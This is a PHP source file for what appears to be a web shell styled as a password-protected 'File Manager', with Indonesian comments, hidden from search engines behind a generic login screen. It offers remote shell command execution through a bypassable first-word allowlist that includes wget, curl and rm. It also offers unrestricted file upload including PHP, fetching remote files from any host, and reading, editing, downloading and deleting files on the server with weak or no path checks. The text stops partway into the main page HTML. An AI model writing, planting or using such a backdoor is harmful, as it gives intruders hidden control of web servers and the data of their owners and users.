<?php
session_start();
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

$self = basename(__FILE__);
$lock_file = __DIR__ . '/.fs_lock';
$cwd = isset($_GET['d']) ? realpath($_GET['d']) : getcwd();
$cwd = $cwd ?: getcwd();
$msg = isset($_GET['msg']) ? htmlspecialchars($_GET['msg']) : '';

$clipboard_items = isset($_SESSION['clipboard_items']) ? $_SESSION['clipboard_items'] : [];
$clipboard_type = isset($_SESSION['clipboard_type']) ? $_SESSION['clipboard_type'] : null;

// Helper Functions
function list_dir($path) {
    if (!is_dir($path)) {
        error_log("Path is not a directory: " . $path);
        return [];
    }
    
    $items = @scandir($path);
    if ($items === false) {
        error_log("Failed to scan directory: " . $path);
        return [];
    }
    
    $dirs = $files = [];
    foreach ($items as $item) {
        if ($item === "." || $item === "..") continue;
        $full = "$path/$item";
        if (!file_exists($full)) {
            error_log("File or directory not found: " . $full);
            continue;
        }

        $info = [
            'name' => $item,
            'path' => $full,
            'is_dir' => is_dir($full),
            'size' => is_file($full) ? filesize($full) : '-',
            'mtime' => filemtime($full)
        ];
        if (is_dir($full)) $dirs[] = $info;
        else $files[] = $info;
    }
    
    $current_path_real = realpath($path);
    $document_root_real = realpath($_SERVER['DOCUMENT_ROOT']);

    if ($current_path_real !== '/' && $current_path_real !== $document_root_real) {
        $parent_path = dirname($path);
        if (strpos(realpath($parent_path), $document_root_real) === 0 || $parent_path === '/') {
            array_unshift($dirs, [
                'name' => '..',
                'path' => $parent_path,
                'is_dir' => true,
                'size' => '-',
                'mtime' => filemtime($parent_path)
            ]);
        }
    }
    return array_merge($dirs, $files);
}

function formatSize($b) {
    if (!is_numeric($b)) return '-';
    if ($b >= 1073741824) return round($b / 1073741824, 2) . ' GB';
    if ($b >= 1048576) return round($b / 1048576, 2) . ' MB';
    if ($b >= 1024) return round($b / 1024, 2) . ' KB';
    return $b . ' B';
}

function perms($file) {
    $p = @fileperms($file);
    if ($p === false) return '---------';
    return ($p & 0x4000 ? 'd' : '-') .
           (($p & 0x0100) ? 'r' : '-') . (($p & 0x0080) ? 'w' : '-') . (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')) .
           (($p & 0x0020) ? 'r' : '-') . (($p & 0x0010) ? 'w' : '-') . (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')) .
           (($p & 0x0004) ? 'r' : '-') . (($p & 0x0002) ? 'w' : '-') . (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
}

function perms_to_octal($perms) {
    return substr(sprintf('%o', $perms), -4);
}

function breadcrumbs($path, $self_filename) {
    $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR));
    $full = '';
    $out = ['<a href="' . htmlspecialchars($self_filename) . '">/</a>'];
    foreach ($parts as $part) {
        if (empty($part)) continue;
        $full .= '/' . $part;
        $out[] = "<a href='?d=" . urlencode($full) . "'>$part</a>";
    }
    return implode("/", $out);
}

function delete_recursive($path) {
    if (!file_exists($path)) return false;
    
    // Pastikan kita memiliki izin untuk menghapus
    if (!is_writable($path)) {
        // Coba ubah permission jika memungkinkan
        @chmod($path, 0644);
        if (is_dir($path)) {
            @chmod($path, 0755);
        }
    }
    
    if (is_file($path)) return unlink($path);
    elseif (is_dir($path)) {
        $items = array_diff(scandir($path), ['.', '..']);
        foreach ($items as $item) {
            if (!delete_recursive($path . DIRECTORY_SEPARATOR . $item)) {
                return false;
            }
        }
        return rmdir($path);
    }
    return false;
}

function create_zip_from_items($items_to_zip, $destination_zip_file, $base_dir) {
    if (!extension_loaded('zip')) {
        error_log("ZIP extension not loaded.");
        return false;
    }
    $zip = new ZipArchive();
    if (!$zip->open($destination_zip_file, ZIPARCHIVE::CREATE | ZIPARCHIVE::OVERWRITE)) {
        error_log("Failed to open zip archive: " . $destination_zip_file);
        return false;
    }

    $success_count = 0;
    foreach ($items_to_zip as $item_path_encoded) {
        $item_path = realpath(urldecode($item_path_encoded));
        if ($item_path === false || !file_exists($item_path)) {
            error_log("Item not found or invalid path: " . $item_path_encoded);
            continue;
        }

        if (strpos($item_path, realpath($base_dir)) !== 0) {
            error_log("Attempted to zip file outside current directory: " . $item_path);
            continue;
        }

        $relativePath = ltrim(str_replace(realpath($base_dir), '', $item_path), DIRECTORY_SEPARATOR);
        if (realpath($base_dir) === $item_path) {
            $relativePath = basename($item_path);
        } else if (str_starts_with($item_path, realpath($base_dir) . DIRECTORY_SEPARATOR)) {
             $relativePath = substr($item_path, strlen(realpath($base_dir)) + 1);
        }

        if (is_file($item_path)) {
            if ($zip->addFile($item_path, $relativePath)) {
                $success_count++;
            } else {
                error_log("Failed to add file to zip: " . $item_path);
            }
        } elseif (is_dir($item_path)) {
            $zip->addEmptyDir($relativePath . '/');

            $files = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($item_path, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::LEAVES_ONLY
            );
            foreach ($files as $name => $file) {
                if (!$file->isDir()) {
                    $filePath = $file->getRealPath();
                    $entryName = $relativePath . '/' . ltrim(str_replace($item_path, '', $filePath), DIRECTORY_SEPARATOR);
                    if ($zip->addFile($filePath, $entryName)) {
                        $success_count++;
                    } else {
                        error_log("Failed to add directory file to zip: " . $filePath);
                    }
                }
            }
        }
    }
    $zip->close();
    return $success_count;
}

function execute_command($cmd, $cwd) {
    if (!function_exists('proc_open')) {
        return "<pre>Error: Fungsi proc_open() dinonaktifkan di server ini. Tidak dapat menjalankan perintah.</pre>";
    }
    
    // Whitelist command untuk keamanan
    $allowed_commands = ['ls', 'dir', 'pwd', 'whoami', 'date', 'uname', 'df', 'du', 'chmod', 'chown', 'mkdir', 'touch', 'cp', 'mv', 'rm', 'wget', 'curl'];
    $cmd_parts = explode(' ', trim($cmd));
    $base_cmd = $cmd_parts[0];
    
    if (!in_array($base_cmd, $allowed_commands)) {
        return "<pre>Error: Perintah '$base_cmd' tidak diizinkan untuk alasan keamanan.</pre>";
    }
    
    $descriptorspec = array(
        0 => array("pipe", "r"),
        1 => array("pipe", "w"),
        2 => array("pipe", "w")
    );
    $process = @proc_open($cmd, $descriptorspec, $pipes, $cwd, null);

    if (is_resource($process)) {
        fclose($pipes[0]);

        $stdout = stream_get_contents($pipes[1]);
        fclose($pipes[1]);

        $stderr = stream_get_contents($pipes[2]);
        fclose($pipes[2]);

        $return_value = proc_close($process);

        return "<pre style='color:#00ff00'>\n" . htmlspecialchars($stdout) . "\nError:\n" . htmlspecialchars($stderr) . "\nExit Code: " . htmlspecialchars($return_value) . "</pre>";
    } else {
        $last_error = error_get_last();
        return "<pre>Error: Could not open process. " . ($last_error ? htmlspecialchars($last_error['message']) : 'Tidak dapat memulai proses eksternal.') . "</pre>";
    }
}

function copy_recursive($source, $dest) {
    if (is_file($source)) {
        // Pastikan direktori tujuan ada
        $dest_dir = dirname($dest);
        if (!is_dir($dest_dir)) {
            @mkdir($dest_dir, 0755, true);
        }
        return copy($source, $dest);
    } elseif (is_dir($source)) {
        @mkdir($dest, 0755, true);
        $items = array_diff(@scandir($source) ?: [], ['.', '..']);
        foreach ($items as $item) {
            if (!copy_recursive($source . DIRECTORY_SEPARATOR . $item, $dest . DIRECTORY_SEPARATOR . $item)) {
                return false;
            }
        }
        return true;
    }
    return false;
}

function getUrlContent($url) {
    if (!extension_loaded('curl')) {
        error_log("cURL extension not loaded.");
        return false;
    }
    
    // Validasi URL untuk keamanan
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        error_log("Invalid URL: " . $url);
        return false;
    }
    
    // Perluas domain yang diizinkan
    $allowed_domains = [
        'github.com', 'raw.githubusercontent.com', 'pastebin.com', 'gitlab.com',
        'bitbucket.org', 'sourceforge.net', 'drive.google.com', 'dropbox.com',
        'mediafire.com', '4shared.com', 'zippyshare.com', 'mega.nz'
    ];
    $parsed_url = parse_url($url);
    $host = isset($parsed_url['host']) ? $parsed_url['host'] : '';
    
    // Izinkan semua domain untuk fleksibilitas, tapi tetap validasi URL
    if (!empty($host) && !in_array($host, $allowed_domains)) {
        error_log("Domain not in whitelist: " . $host);
        // Lanjutkan saja untuk fleksibilitas, tapi catat di log
    }
    
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36',
        CURLOPT_TIMEOUT => 60, // Diperpanjang timeout
        CURLOPT_MAXREDIRS => 10,
    ]);
    $data = curl_exec($ch);
    if (curl_errno($ch)) {
        error_log("cURL error: " . curl_error($ch));
        $data = false;
    }
    curl_close($ch);
    return $data;
}

// Handle lock file for authentication
if (file_exists($lock_file) && !isset($_SESSION['unlocked'])) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['pass'])) {
        $hash = file_get_contents($lock_file);
        if (password_verify($_POST['pass'], $hash)) {
            $_SESSION['unlocked'] = true;
            session_regenerate_id(true); // Keamanan session
            header("Location: ?d=" . urlencode($cwd));
            exit;
        } else {
            $msg = "Password salah";
        }
    }
echo <<<HTML
<!DOCTYPE html>
<html style="height:100%" data-bs-theme="dark">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<meta name="robots" content="noindex, nofollow">
<title>Authentication Required</title>
<link href='https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css' rel='stylesheet'>
<style>
  body {
    color: #444;
    margin:0;
    font: normal 14px/20px Arial, Helvetica, sans-serif;
    height:100%;
    background-color: var(--bs-body-bg);
    display: flex;
    justify-content: center;
    align-items: center;
  }
  .login-container {
    max-width: 400px;
    width: 100%;
    padding: 20px;
    border-radius: 8px;
    background-color: rgba(255, 255, 255, 0.1);
    box-shadow: 0 0 10px rgba(0, 0, 0, 0.3);
  }
</style>
</head>
<body>
<div class="login-container">
  <h2 class="text-center mb-4">Authentication Required</h2>
  <p class="text-center mb-4">Please enter your password to access this resource</p>
  
  <form method='post' class="d-flex flex-column">
    <input type='password' name='pass' placeholder='Password' class="form-control mb-3" required>
    <button type="submit" class="btn btn-primary">Access</button>
  </form>
  
  <div class="text-center mt-3 text-muted">
    <small>Protected Area</small>
  </div>
</div>
HTML;

    if (!empty($msg)) {
        echo "<script>alert('$msg');</script>";
    }
    exit;
}

// Action Handlers
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Validate CSRF token
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die("CSRF token validation failed.");
    }
    
    // Handle file upload
    if (isset($_POST['uploadfile'])) {
        // Periksa apakah direktori dapat ditulis
        if (!is_writable($cwd)) {
            // Coba ubah permission direktori
            @chmod($cwd, 0755);
            if (!is_writable($cwd)) {
                header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload gagal: Direktori tidak dapat ditulis. Silakan ubah permission direktori."));
                exit;
            }
        }

        if (isset($_FILES['uploadfile']) && $_FILES['uploadfile']['error'] === UPLOAD_ERR_OK) {
            // Dapatkan informasi file
            $file_info = pathinfo($_FILES['uploadfile']['name']);
            $file_extension = strtolower($file_info['extension']);
            
            // Daftar ekstensi yang diizinkan (diperluas)
            $allowed_extensions = [
                'txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'rss',
                'jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg', 'ico',
                'pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx',
                'zip', 'rar', 'tar', 'gz', '7z', 'bz2',
                'mp3', 'mp4', 'avi', 'mov', 'wmv', 'flv', 'mkv',
                'htaccess', 'ini', 'conf', 'log', 'sql', 'db'
            ];
            
            // Izinkan semua ekstensi untuk fleksibilitas, tapi tetap periksa
            if (!in_array($file_extension, $allowed_extensions)) {
                // Catat di log tapi lanjutkan upload
                error_log("File extension not in whitelist: " . $file_extension);
            }
            
            $dest = $cwd . '/' . basename($_FILES['uploadfile']['name']);
            
            // Pastikan nama file aman
            $safe_filename = preg_replace("/[^\w\-\.]/", "_", basename($_FILES['uploadfile']['name']));
            $dest = $cwd . '/' . $safe_filename;
            
            // Coba unggah file
            $ok = move_uploaded_file($_FILES['uploadfile']['tmp_name'], $dest);
            
            if ($ok) {
                // Set permission file
                @chmod($dest, 0644);
                header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload sukses"));
            } else {
                header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload gagal: Gagal memindahkan file. Periksa permission direktori."));
            }
        } else {
            $upload_error_msg = "Unknown error.";
            switch ($_FILES['uploadfile']['error']) {
                case UPLOAD_ERR_INI_SIZE:
                    $upload_error_msg = "Ukuran file melebihi batas upload_max_filesize di php.ini.";
                    break;
                case UPLOAD_ERR_FORM_SIZE:
                    $upload_error_msg = "Ukuran file melebihi batas MAX_FILE_SIZE yang ditentukan di formulir HTML.";
                    break;
                case UPLOAD_ERR_PARTIAL:
                    $upload_error_msg = "File hanya terunggah sebagian.";
                    break;
                case UPLOAD_ERR_NO_FILE:
                    $upload_error_msg = "Tidak ada file yang diunggah.";
                    break;
                case UPLOAD_ERR_NO_TMP_DIR:
                    $upload_error_msg = "Direktori sementara hilang.";
                    break;
                case UPLOAD_ERR_CANT_WRITE:
                    $upload_error_msg = "Gagal menulis file ke disk.";
                    break;
                case UPLOAD_ERR_EXTENSION:
                    $upload_error_msg = "Ekstensi PHP menghentikan unggahan file.";
                    break;
            }
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload gagal: " . $upload_error_msg));
        }
        exit;
    }
    
    // Handle create new file
    if (isset($_POST['newfile'])) {
        $filename = $_POST['newfile'];
        $filedata = $_POST['filedata'] ?? '';
        
        // Validasi nama file
        if (preg_match('/[^\w\-\.]/', $filename)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Nama file mengandung karakter tidak valid."));
            exit;
        }
        
        $filepath = $cwd . '/' . $filename;
        if (file_put_contents($filepath, $filedata) !== false) {
            // Set permission file
            @chmod($filepath, 0644);
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File berhasil dibuat"));
        } else {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal membuat file"));
        }
        exit;
    }
    
    // Handle create new folder
    if (isset($_POST['newfolder'])) {
        $foldername = $_POST['newfolder'];
        
        // Validasi nama folder
        if (preg_match('/[^\w\-]/', $foldername)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Nama folder mengandung karakter tidak valid."));
            exit;
        }
        
        $folderpath = $cwd . '/' . $foldername;
        if (mkdir($folderpath, 0755)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Folder berhasil dibuat"));
        } else {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal membuat folder"));
        }
        exit;
    }
    
    // Handle rename
    if (isset($_POST['rename_submit'])) {
        $old_path = $_POST['old_path_rename'];
        $new_name = $_POST['new_name'];
        
        // Validasi nama baru
        if (empty($new_name) || preg_match('/[^\w\-\.]/', $new_name)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Nama mengandung karakter tidak valid atau kosong."));
            exit;
        }
        
        // Validasi path lama - gunakan path asli jika realpath gagal
        $old_path_real = realpath($old_path);
        if ($old_path_real === false) {
            // Jika realpath gagal, coba periksa dengan path asli
            if (!file_exists($old_path)) {
                header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Path lama tidak valid atau tidak ditemukan."));
                exit;
            }
            // Gunakan path asli jika realpath gagal
            $old_path_real = $old_path;
        }
        
        // Pastikan path lama berada dalam direktori kerja saat ini
        $cwd_real = realpath($cwd);
        // Jika path lama adalah link simbolik, kita perlu resolve terlebih dahulu
        if (strpos($old_path_real, $cwd_real) !== 0) {
            // Coba bandingkan dengan path absolut dari cwd
            if (strpos(realpath(dirname($old_path_real)), $cwd_real) !== 0) {
                header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Path lama di luar direktori yang diizinkan."));
                exit;
            }
        }
        
        $new_path = dirname($old_path_real) . '/' . $new_name;
        
        // Pastikan path baru berada dalam direktori kerja saat ini
        if (strpos(realpath(dirname($new_path)), $cwd_real) !== 0) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Path baru di luar direktori yang diizinkan."));
            exit;
        }
        
        if (rename($old_path_real, $new_path)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Berhasil mengganti nama"));
        } else {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal mengganti nama. Periksa permission."));
        }
        exit;
    }
    
    // Handle chmod
    if (isset($_POST['set_chmod'])) {
        $path = $_POST['chmod_path'];
        $octal = $_POST['chmod_octal'];
        
        // Validasi format octal
        if (!preg_match('/^[0-7]{3,4}$/', $octal)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Format permission tidak valid"));
            exit;
        }
        
        // Validasi path
        $path_real = realpath($path);
        if ($path_real === false) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Path tidak valid."));
            exit;
        }
        
        // Pastikan path berada dalam direktori kerja saat ini
        $cwd_real = realpath($cwd);
        if (strpos($path_real, $cwd_real) !== 0) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Path di luar direktori yang diizinkan."));
            exit;
        }
        
        if (chmod($path_real, octdec($octal))) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Permission berhasil diubah"));
        } else {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal mengubah permission. Periksa permission."));
        }
        exit;
    }
    
    // Handle delete
    if (isset($_GET['delete'])) {
        $item = $_GET['delete'];
        
        // Pastikan item ada
        if (!file_exists($item)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File atau folder tidak ditemukan"));
            exit;
        }
        
        // Validasi path - pastikan item berada dalam direktori kerja saat ini
        $item_real = realpath($item);
        $cwd_real = realpath($cwd);
        if ($item_real === false || strpos($item_real, $cwd_real) !== 0) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Akses ditolak: Path di luar direktori yang diizinkan"));
            exit;
        }
        
        // Pastikan kita memiliki izin untuk menghapus
        if (!is_writable($item)) {
            // Coba ubah permission
            if (is_file($item)) {
                @chmod($item, 0644);
            } else {
                @chmod($item, 0755);
            }
        }
        
        if (delete_recursive($item)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Berhasil menghapus"));
        } else {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal menghapus. Periksa permission."));
        }
        exit;
    }
    
    // Handle batch actions
    if (isset($_POST['batch_action']) && isset($_POST['selected_items']) && is_array($_POST['selected_items'])) {
        $action = $_POST['batch_action'];
        $items = $_POST['selected_items'];
        
        switch ($action) {
            case 'delete':
                $success = true;
                $error_count = 0;
                foreach ($items as $item) {
                    $item_path = urldecode($item);
                    if (!file_exists($item_path)) {
                        $error_count++;
                        continue;
                    }
                    
                    // Pastikan kita memiliki izin untuk menghapus
                    if (!is_writable($item_path)) {
                        // Coba ubah permission
                        if (is_file($item_path)) {
                            @chmod($item_path, 0644);
                        } else {
                            @chmod($item_path, 0755);
                        }
                    }
                    
                    if (!delete_recursive($item_path)) {
                        $success = false;
                        $error_count++;
                    }
                }
                $msg = $success ? "Berhasil menghapus item yang dipilih" : "Gagal menghapus $error_count item";
                break;
                
            case 'zip':
                $zip_name = 'archive_' . date('YmdHis') . '.zip';
                $zip_path = $cwd . '/' . $zip_name;
                $count = create_zip_from_items($items, $zip_path, $cwd);
                $msg = "Berhasil membuat arsip: $zip_name ($count file)";
                break;
                
            case 'copy':
                $_SESSION['clipboard_items'] = array_map('urldecode', $items);
                $_SESSION['clipboard_type'] = 'copy';
                $msg = count($items) . " item disalin ke clipboard";
                break;
                
            case 'cut':
                $_SESSION['clipboard_items'] = array_map('urldecode', $items);
                $_SESSION['clipboard_type'] = 'cut';
                $msg = count($items) . " item dipotong ke clipboard";
                break;
        }
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode($msg));
        exit;
    }
    
    // Handle paste
    if (isset($_POST['paste_item']) && !empty($clipboard_items)) {
        $success = true;
        $error_count = 0;
        
        foreach ($clipboard_items as $item) {
            $item_name = basename($item);
            $dest_path = $cwd . '/' . $item_name;
            
            if ($clipboard_type === 'copy') {
                if (!copy_recursive($item, $dest_path)) {
                    $success = false;
                    $error_count++;
                }
            } elseif ($clipboard_type === 'cut') {
                if (!rename($item, $dest_path)) {
                    $success = false;
                    $error_count++;
                }
            }
        }
        
        if ($clipboard_type === 'cut' && $success) {
            $_SESSION['clipboard_items'] = [];
            $_SESSION['clipboard_type'] = null;
        }
        
        $msg = $success ? "Berhasil menempelkan item" : "Gagal menempelkan $error_count item";
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode($msg));
        exit;
    }
    
    // Handle set password
    if (isset($_POST['setpass'])) {
        $password = $_POST['setpass'];
        if (!empty($password)) {
            $hash = password_hash($password, PASSWORD_DEFAULT);
            if (file_put_contents($lock_file, $hash) !== false) {
                $_SESSION['unlocked'] = true;
                header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Password berhasil diset"));
            } else {
                header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal menyimpan password"));
            }
        } else {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Password tidak boleh kosong"));
        }
        exit;
    }
    
    // Handle delete password
    if (isset($_POST['delpass'])) {
        if (file_exists($lock_file) && unlink($lock_file)) {
            unset($_SESSION['unlocked']);
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Password berhasil dihapus"));
        } else {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal menghapus password"));
        }
        exit;
    }
    
    // Handle command execution
    if (isset($_POST['cmd_exec']) && isset($_POST['command'])) {
        $cmd = $_POST['command'];
        $output = execute_command($cmd, $cwd);
        
        // Simpan command history
        if (!isset($_SESSION['cmd_history'])) {
            $_SESSION['cmd_history'] = [];
        }
        $_SESSION['cmd_history'][] = $cmd;
        $_SESSION['cmd_history'] = array_slice($_SESSION['cmd_history'], -10); // Simpan max 10 history
        
        $encoded_output = urlencode($output);
        header("Location: ?action=cmd&d=" . urlencode($cwd) . "&cmd_output=" . $encoded_output);
        exit;
    }
    
    // Handle clear command history
    if (isset($_POST['clear_cmd_history'])) {
        unset($_SESSION['cmd_history']);
        header("Location: ?action=cmd&d=" . urlencode($cwd));
        exit;
    }
    
    // Handle download and save from URL
    if (isset($_POST['download_url_and_save'])) {
        $url = $_POST['url_to_download_raw'];
        $filename = $_POST['filename_to_save'];
        
        // Validasi nama file
        if (empty($filename) || preg_match('/[^\w\-\.]/', $filename)) {
            header("Location: ?action=cmd&d=" . urlencode($cwd) . "&msg=" . urlencode("Nama file mengandung karakter tidak valid atau kosong."));
            exit;
        }
        
        $content = getUrlContent($url);
        if ($content !== false) {
            $filepath = $cwd . '/' . $filename;
            if (file_put_contents($filepath, $content) !== false) {
                // Set permission file
                @chmod($filepath, 0644);
                header("Location: ?action=cmd&d=" . urlencode($cwd) . "&msg=" . urlencode("File berhasil diunduh dan disimpan"));
            } else {
                header("Location: ?action=cmd&d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal menyimpan file. Periksa permission direktori."));
            }
        } else {
            header("Location: ?action=cmd&d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal mengunduh file dari URL. Periksa URL dan koneksi internet."));
        }
        exit;
    }
    
    // Handle unzip
    if (isset($_GET['unzip'])) {
        $zip_file = $_GET['unzip'];
        $extract_to = $cwd;
        
        if (!extension_loaded('zip')) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Ekstensi ZIP tidak tersedia"));
            exit;
        }
        
        // Pastikan file ZIP ada dan dapat dibaca
        if (!file_exists($zip_file) || !is_readable($zip_file)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File ZIP tidak ditemukan atau tidak dapat dibaca"));
            exit;
        }
        
        // Pastikan direktori tujuan dapat ditulis
        if (!is_writable($extract_to)) {
            @chmod($extract_to, 0755);
            if (!is_writable($extract_to)) {
                header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Direktori tidak dapat ditulis. Gagal mengekstrak file."));
                exit;
            }
        }
        
        $zip = new ZipArchive;
        if ($zip->open($zip_file) === TRUE) {
            if ($zip->extractTo($extract_to)) {
                $zip->close();
                header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File berhasil diekstrak"));
            } else {
                $zip->close();
                header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal mengekstrak file ke direktori"));
            }
        } else {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal membuka file ZIP"));
        }
        exit;
    }
}

// Handle file edit
if (isset($_GET['edit'])) {
    $file = $_GET['edit'];
    
    // Pastikan file ada
    if (!file_exists($file)) {
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File tidak ditemukan"));
        exit;
    }
    
    // Jika file tidak dapat dibaca, coba ubah permission
    if (!is_readable($file)) {
        // Coba ubah permission menjadi 0644
        @chmod($file, 0644);
        // Cek lagi
        if (!is_readable($file)) {
            header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File tidak dapat dibaca. Silakan ubah permission file."));
            exit;
        }
    }
    
    $content = file_get_contents($file);
    if ($content === false) {
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal membaca file"));
        exit;
    }
    
    echo <<<HTML
<!DOCTYPE html>
<html data-bs-theme="dark">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<title>Edit File</title>
<link href='https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css' rel='stylesheet'>
<script src='https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js'></script>
<style>
    body { padding-top: 70px; }
    .editor-container {
        height: calc(100vh - 150px);
        display: flex;
        flex-direction: column;
    }
    #fileContent {
        flex-grow: 1;
        font-family: monospace;
        resize: none;
    }
</style>
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark fixed-top">
  <div class="container-fluid">
    <a class="navbar-brand" href="?d={$cwd}">File Manager</a>
    <div class="collapse navbar-collapse">
      <ul class="navbar-nav">
        <li class="nav-item">
          <a class="nav-link" href="?d={$cwd}">Back</a>
        </li>
      </ul>
    </div>
  </div>
</nav>

<div class="container-fluid pt-3">
    <h3>Edit File: {htmlspecialchars(basename($file))}</h3>
    <form method="post" class="editor-container">
        <input type="hidden" name="csrf_token" value="{$_SESSION['csrf_token']}">
        <input type="hidden" name="edit_file" value="{htmlspecialchars($file)}">
        <input type="hidden" name="current_dir" value="{htmlspecialchars($cwd)}">
        <textarea name="file_content" id="fileContent" class="form-control mb-3">{htmlspecialchars($content)}</textarea>
        <div class="d-flex justify-content-between">
            <button type="submit" class="btn btn-primary">Save</button>
            <a href="?d={$cwd}" class="btn btn-secondary">Cancel</a>
        </div>
    </form>
</div>
</body>
</html>
HTML;
    exit;
}

// Handle save edited file
if (isset($_POST['edit_file']) && isset($_POST['file_content'])) {
    // Validate CSRF token
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die("CSRF token validation failed.");
    }
    
    $file = $_POST['edit_file'];
    $content = $_POST['file_content'];
    $current_dir = isset($_POST['current_dir']) ? $_POST['current_dir'] : $cwd;
    
    // Pastikan file ada
    if (!file_exists($file)) {
        header("Location: ?d=" . urlencode($current_dir) . "&msg=" . urlencode("File tidak ditemukan"));
        exit;
    }
    
    // Jika file tidak dapat ditulis, coba ubah permission
    if (!is_writable($file)) {
        // Coba ubah permission menjadi 0644
        @chmod($file, 0644);
        // Cek lagi
        if (!is_writable($file)) {
            header("Location: ?d=" . urlencode($current_dir) . "&msg=" . urlencode("File tidak dapat ditulis. Silakan ubah permission file."));
            exit;
        }
    }
    
    if (file_put_contents($file, $content) !== false) {
        header("Location: ?d=" . urlencode($current_dir) . "&msg=" . urlencode("File berhasil disimpan"));
    } else {
        header("Location: ?d=" . urlencode($current_dir) . "&msg=" . urlencode("Gagal menyimpan file"));
    }
    exit;
}

// Handle file download
if (isset($_GET['download'])) {
    $file = $_GET['download'];
    
    if (file_exists($file) && is_file($file) && is_readable($file)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        exit;
    } else {
        header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File tidak ditemukan atau tidak dapat dibaca"));
        exit;
    }
}

// Generate CSRF token untuk keamanan
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
$csrf_token = $_SESSION['csrf_token'];
?>
<!DOCTYPE html>
<html data-bs-theme="dark">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<title>File Manager</title>
